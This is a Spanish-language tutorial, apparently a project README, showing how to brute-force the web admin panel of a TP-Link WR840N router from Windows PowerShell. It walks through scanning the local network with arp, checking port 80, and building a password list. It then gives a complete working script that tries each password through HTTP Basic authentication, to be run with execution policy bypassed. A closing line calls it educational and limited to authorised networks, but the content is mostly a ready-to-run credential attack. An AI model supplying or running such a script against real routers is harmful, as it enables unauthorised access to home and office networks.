Simulación de Fuerza Bruta desde PowerShell contra Router TP-Link (Modelo WR840N)

Este proyecto demuestra cómo se puede realizar una simulación de fuerza bruta desde una terminal de PowerShell en Windows contra el panel de administración web de un router TP-Link WR840N. Todo el procedimiento se llevó a cabo usando PowerShell nativo de Windows, sin Kali Linux ni herramientas externas.

Paso 1: Escaneo de dispositivos en la red

Comando para ver qué dispositivos están conectados a tu red local:

```
arp -a
```

Paso 2: Verificar si el puerto 80 está abierto

Usá este script para probar si un dispositivo tiene el puerto 80 abierto:

```
$ip = "192.168.0.29"
$tcp = New-Object Net.Sockets.TcpClient
try {
   $tcp.Connect($ip, 80)
   if ($tcp.Connected) {
      Write-Host "Puerto 80 abierto en $ip"
      $tcp.Close()
   }
} catch {
   Write-Host "Puerto 80 cerrado en $ip"
}
```

Paso 3: Crear archivo de contraseñas

Creá un archivo llamado contrasenas.txt con posibles claves como:

```
admin
123456
admin123
adminadmin
password
```

Paso 4: Crear y ejecutar el script fuerza bruta

Creá un archivo llamado fuerza_bruta_router.ps1 con el siguiente contenido:

```
$usuario = "admin"

$lista = Get-Content "C:\Users\rocio\OneDrive\Desktop\contrasenas.txt"

$ip = "192.168.0.29"


foreach ($clave in $lista) {
  $credencial = "${usuario}:${clave}"
  $bytes = [System.Text.Encoding]::ASCII.GetBytes($credencial)
  $encoded = [Convert]::ToBase64String($bytes)

  try {
    $response = Invoke-WebRequest -Uri "http://$ip/userRpm/Index.htm" -Headers @{
      Authorization = "Basic $encoded"
    } -Method GET -UseBasicParsing -ErrorAction Stop

    if ($response.StatusCode -eq 200 -and $response.Content -notmatch "Login") {
      Write-Host "✅¡Login exitoso! Usuario: $usuario | Contraseña: $clave"
      break
    } else {
      Write-Host "❌Falló: $clave"
    }

  } catch {
    Write-Host "⚠ Error o acceso denegado con: $clave"
  }
```

}

Luego abrí PowerShell como administrador y ejecutá:

cd "C:\Users\rocio\OneDrive\Desktop"

Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass

.\fuerza_bruta_router.ps1

Conclusión

Este ejercicio demuestra que también se pueden hacer pruebas de fuerza bruta desde Windows con PowerShell. Es útil para entender cómo se comportan los sistemas y aprender a protegerlos. Este proyecto es totalmente educativo y solo debe realizarse en redes propias o con autorización.